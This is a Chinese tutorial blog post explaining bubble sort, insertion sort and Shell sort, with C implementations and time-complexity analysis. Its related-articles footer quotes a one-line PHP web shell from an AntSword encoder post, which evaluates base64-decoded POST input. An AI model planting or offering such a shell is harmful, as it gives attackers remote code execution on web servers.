七大排序-冒泡排序,插入排序,希尔排序(一)

news2024/10/6 12:27:22

目录

  • 排序
  • 冒泡排序
  • 插入排序
  • 冒泡排序和插入排序的对比
  • 希尔排序

排序

先写单趟,再写多趟,这样比较好写
排序可以理解为对商品价格的排序,对数字大小的排序,排序再生活中随处可见

冒泡排序

冒泡排序就是两个相邻的数交换,排升序,把最大的数排到最右边
在这里插入图片描述
时间复杂度的分析:

最坏情况:外层循环是比较的趟数N-1次,假设j 一直等于0,内层循环就每次走N次,那么时间复杂度是O(N*N)

最好情况:假设数组已经有序了,外层循环进去第一次,内层循环后一个比前一个数要大,flag 一直是0,最后只执行了一次内层循环和外层循环,就跳出外层循环了,时间复杂度:O(N)

冒泡排序的时间复杂度是:O(N*N)
外面一层循环控制趟数,里面一层循环控制一趟的比较逻辑

void swap(int* a, int* b)
{
	int tmp = *a;
	*a = *b;
	*b = tmp;
}

//冒泡排序
//最坏:O(N^2)
//最好:O(N)->有序
void Bubblesort(int* arr, int n)
{
	for (int j = 0; j < n-1; j++)
	{
		int flag = 0;
		//一趟
		for (int i = 1; i < n - j; i++)
		{
			if (arr[i-1] > arr[i])//防止越界
			{
				swap(&arr[i-1], &arr[i]);
				flag = 1;
			}
		}
		if (flag == 0)
		{
			break;
		}
	}
	
}

int main()
{
	int arr[10] = { 2,33,41,1,2,31,331,51,1,2 };
	Bubblesort(arr, 10);

	for (int i = 0; i < 10; i++)
	{
		printf("%d ", arr[i]);
	}

	return 0;
}

插入排序

插入排序可以类比为抽扑克牌,先在你有三张扑克牌,分别是5,8, 9 ,摸了一张7,这张7就要插入到比前一数大,比后一个数小的位置

逻辑:假设前二个数有序,将第三个数插入到[0,1]这个区间中去
1.比所有的数都小,插入到最前面
2.比前数大,比后数小,插入到它俩中间
在这里插入图片描述

时间复杂度的分析:

假设最坏的情况是逆序,有n个数,将第n-1下标的数,插入到区间[0,n-2]中,这样会比较n-1次,假设每次都比较最后一次的情况是n-1次,最外层的趟数是n-1,那么时间复杂度是O(N*N)

最好的情况是顺序:每次内层循环都会break,后一项都会比前一项大,就走外层循环走了n-1次,时间复杂度是O(N)

void Insertsort(int* arr, int n)
{
	//先写一趟的逻辑
	// [0,end]中插入下标为end+1的数

	for (int i = 0; i < n - 1; i++)
	{
		//一趟的过程
		int end = i;
		int tmp = arr[end + 1];
		while (end >= 0)
		{
			if (tmp < arr[end])
			{
				arr[end + 1] = arr[end];
				end--;
			}
			else
			{
				break;
			}
		}
		arr[end + 1] = tmp;
		//放在外面为了解决,插入到最前面,end<0的情况
	}

}

冒泡排序和插入排序的对比

冒泡排序和插入排序时间复杂度都是O(N^2),那么他们的效率是否相同呢?
答案是否定的,插入排序的效率比冒泡排序的效率更高

1.先说冒泡排序,冒泡最好是直接有序,但是基本上不可能,如果数字是随机数的话,冒泡基本上都是最坏的情况,冒一趟,其中一个大的数冒到后面了,但是中间可能还有其他大的数,那么基本上就是O(N^2)了

2.插入排序可能前10个数已经有序了,那么每 1 趟都只较1次,O(N)可以解决,也可能前5个数有序,都比较快,最坏的情况是逆序,但是用随机数是逆序的可能性不大
最好的情况就是比较1次,再差就是比较到中间,运气不好就是比较到最前面

希尔排序

希尔排序可以说是插入排序的变形了
可以设置gap组排序,在gap组中分别排序,也可以在gap组中同时进行排序

希尔排序:
1.预排序(让数组接近有序)
2.插入排序

预排序:
1.gap组越大,大的可以更快地跳到后面,小的数可以越快跳到前面,就越不接近有序
2.gap组越小,跳地越慢,越接近有序,gap == 1,就相当于插入排序就有序了
在这里插入图片描述

//希尔排序
void Shellsort(int* a, int n)
{
	int gap = n;
	while (gap > 1)
	{
		//+1保证最后一个gap一定是1,就可以进行直接插入排序
		//gap > 1是预排序
		//gap == 1是直接插入排序
		gap = gap / 3 + 1;

		for (int i = 0; i < n-gap; i++)
		{
			int end = i;
			int tmp = a[end + gap];
			while (end >= 0)
			{
				if (tmp < a[end])
				{
					a[end + gap] = a[end];
					end -= gap;
				}
				else
				{
					break;
				}
			}
			a[end + gap] = tmp;
		}
	}
}

时间复杂度的分析
希尔排序的时间复杂度比较难分析,这里给出大概的时间复杂度是:O(N^1.3)

为什么有gap组呢?
因为假设每组的间隔是gap,0-gap-1是组数,
组数就是gap

假设有gap组,n个数据,每组就有n/gap个数据
gap = n/3,每组有3个数据

最坏情况下,每组的比较次数*组数
第一次排序的消耗(1+2)*n/3 = n

第二次排序的消耗 (1+2+…+8)*n/9 = 4 * n

最后一次排序的消耗 ,最后一次排序很接近有序了
gap == 1了,就是直接插入排序了,就等于N

比如第一次排序对第二次排序有影响,因为前面一部分有序了,而后面第二次排序可能部分也有序了,所以第二次排序消耗是少于4n的
前面的排序对后面的排序有影响,所以不好算

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1903376.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java+MySQL8.0.36+ElementUI数字化产科信息管理系统之”五色管理”

JavaMySQL8.0.36ElementUI数字化产科信息管理系统之”五色管理” 一、数字化产科信息管理系统概述 数字化产科信息管理五色管理是一种基于孕产妇妊娠风险的分类管理方法&#xff0c;通过数字化手段实现孕产妇全周期的健康风险评估与管理。该方法将孕产妇按照风险等级分为绿色、…

初识STM32:芯片基本信息

STM32简介 STM32是ST公司基于ARM公司的Cortex-M内核开发的32位微控制器。 ARM公司是全球领先的半导体知识产权&#xff08;IP&#xff09;提供商&#xff0c;全世界超过95%的智能手机和平板电脑都采用ARM架构。 ST公司于1987年由意大利的SGS微电子与法国的Thomson半导体合并…

LeetCode题练习与总结:直线上最多的点数--149

一、题目描述 给你一个数组 points &#xff0c;其中 points[i] [xi, yi] 表示 X-Y 平面上的一个点。求最多有多少个点在同一条直线上。 示例 1&#xff1a; 输入&#xff1a;points [[1,1],[2,2],[3,3]] 输出&#xff1a;3示例 2&#xff1a; 输入&#xff1a;points [[1,…

蚁剑编码器编写——上篇

参考 AwesomeEncoder 以第一个为例 木马 <?php eval(base64_decode($_POST[ant]));?>获取ant参数内容&#xff0c;然后base64解码后运行 编码器 let randomID _0x${Math.random().toString(16).substr(2)}; data[randomID] new Buffer(data[_]).toString(base64)…

前端八股文 说一下盒模型

网页中任何一个元素都可以视为一个盒子&#xff0c;由里到外&#xff0c;盒模型包括外边界&#xff08;margin&#xff09;、边框&#xff08;border&#xff09;、内边界&#xff08;padding&#xff09;和内容&#xff08;content&#xff09;。 盒模型基本分为3种&#xff1…

高可用hadoop分布式节点的扩容

解决方案 修改hdfs-site.xml 文件 原xml文件 <?xml version"1.0" encoding"UTF-8"?> <?xml-stylesheet type"text/xsl" href"configuration.xsl"?> <!--Licensed under the Apache License, Version 2.0 (th…

基于vue的3D高德地图的引入

在引入高德地图的时候需要先注册一个账号 登录下面的网站 账号认证 | 高德控制台 (amap.com) 打开首页应用管理&#xff0c;我的应用 创建新的应用 根据自己的需求进行选择 创建完成之后&#xff0c;点击添加key 不同的服务平台对应不同的可使用服务&#xff0c;选择自己适…

微信小程序毕业设计-医院挂号预约系统项目开发实战(附源码+论文)

大家好&#xff01;我是程序猿老A&#xff0c;感谢您阅读本文&#xff0c;欢迎一键三连哦。 &#x1f49e;当前专栏&#xff1a;微信小程序毕业设计 精彩专栏推荐&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; &#x1f380; Python毕业设计…

webrtc gcc详解

webrtc的gcc算法(Google Congestion Control)&#xff0c;貌似国内很多文章都没有细讲&#xff0c;原理是怎么样的&#xff0c;具体怎么进行计算的。这里详解一下gcc。 gcc算法&#xff0c;主要涉及到&#xff1a; 拥塞控制的关键信息和公式 卡曼滤波算法 gcc如何使用卡曼滤…

iis部署前后端分离项目(React前端,Node.js后端)

iis虽然已经有点过时&#xff0c;但不少用户还在用&#xff0c;故总结一下。 1. 安装iis 如果电脑没有自带iis管理器&#xff0c;打开控制面板->程序->启用或关闭Windows功能&#xff0c;勾选iis安装即可 2. 部署前端项目 打开iis&#xff0c;添加网站&#xff0c;物理…

JAVA的线性表数据结构的超详解

目录 顺序表的顺序存储结构 1.数组 2.顺序表 顺序表的声明&#xff0c;存储操作以及效率分析 1.泛型类 2.顺序表的插入操作 3. 顺序表的删除操作 4.顺序表查询操作 5.顺序表的应用 线性表的链式存储结构 单链表的基本操作 顺序表的顺序存储结构 数组是实现顺序存储…

java项目总结5

1.单列集合顶层接口Collction 集合体系结构 注意&#xff1a;因为Collection定义的方法是共性的&#xff0c;使用不能通过搜引来删除&#xff0c;只能通过元素的对象进行删除&#xff0c;返回值是boolean类型。例如我添加了"aaa"进List集合&#xff0c;删除则要对象…

开放式耳机哪个牌子好?悠律、漫步者、韶音全面对比与推荐

对于现在的无线耳机市场而言&#xff0c;开放式耳机迎来的真正的大爆发&#xff0c;关键的是它采用了定向传声方式&#xff0c;我们在运动时除了可以感受到音乐带来的快乐外&#xff0c;还能时刻保持对外界环境音的警觉。 今天&#xff0c;我们将为大家详细对比推荐三款备受瞩…

TCP的p2p网络模式

TCP的p2p网络模式 1、tcp连接的状态有以下11种 CLOSED&#xff1a;关闭状态LISTEN&#xff1a;服务端状态&#xff0c;等待客户端发起连接请求SYN_SENT&#xff1a;客户端已发送同步连接请求&#xff0c;等待服务端相应SYN_RECEIVED&#xff1a;服务器收到客户端的SYN请请求&…

2024年世界人工智能大会(WAIC)各大佬的精彩发言

2024年世界人工智能大会&#xff08;WAIC&#xff09;在上海举行&#xff0c;受到了广泛关注和参与。以下是大会首日的主要观点和议题的总结&#xff1a; AI 应用落地&#xff1a;大会讨论了AI应用如何落地&#xff0c;即如何在当前阶段利用大模型技术实现实际应用。 AI 安全&…

图像基础知识

图像卷积 卷积(convolution)是通过两个函数f和g生成第三个函数的一种数学算子,表征函数f与g经过翻转和平移的重叠部分的面积。 卷积概念是两个变量在某范围内相乘后求和的结果。图像处理中的卷积概念:数字图像是一个二维的离散信号,对数字图像做卷积操作其实就是利用卷积…

基于java+springboot+vue实现的旅游管理系统(文末源码+lw+ppt)23-402

研究的内容 当下流行的WPS、Word等办公软件成为了人们耳熟能详的系统&#xff0c;但一些更加专业性、性能更加强大的网络信息工具被人们“埋没”在互联网的大海中。甘肃旅游管理系统是一个便于用户查看热门景点、酒店信息、推荐线路、旅游攻略、景点资讯等&#xff0c;管理员进…

华为机试HJ37统计每个月兔子的总数

华为机试HJ37统计每个月兔子的总数 题目&#xff1a; 想法&#xff1a; 上述题目实际是一个斐波那契数列&#xff0c;利用斐波那契数列对问题进行求解 input_number int(input())def fib(n):if n < 2:return 1else:n_1 1n_2 1count 2while count < n:n_1, n_2 n_…

U.S.News发布全美最佳本科AI专业排名

10 加州大学圣迭戈分校 University of California, San Diego UCSD的人工智能项目从事广泛的理论和实验研究&#xff0c;学校的优势领域包括机器学习、不确定性下的推理和认知建模。除了理论学习&#xff0c;UCSD教授非常注重把计算机知识运用到自然语言处理、数据挖掘、计算…

【04】微服务通信组件Feign

1、项目中接口的调用方式 1.1 HttpClient HttpClient 是 Apache Jakarta Common 下的子项目&#xff0c;用来提供高效的、最新的、功能丰富的支持 Http 协议的客户端编程工具包&#xff0c;并且它支持 HTTP 协议最新版本和建议。HttpClient 相比传统 JDK 自带的 URLConnectio…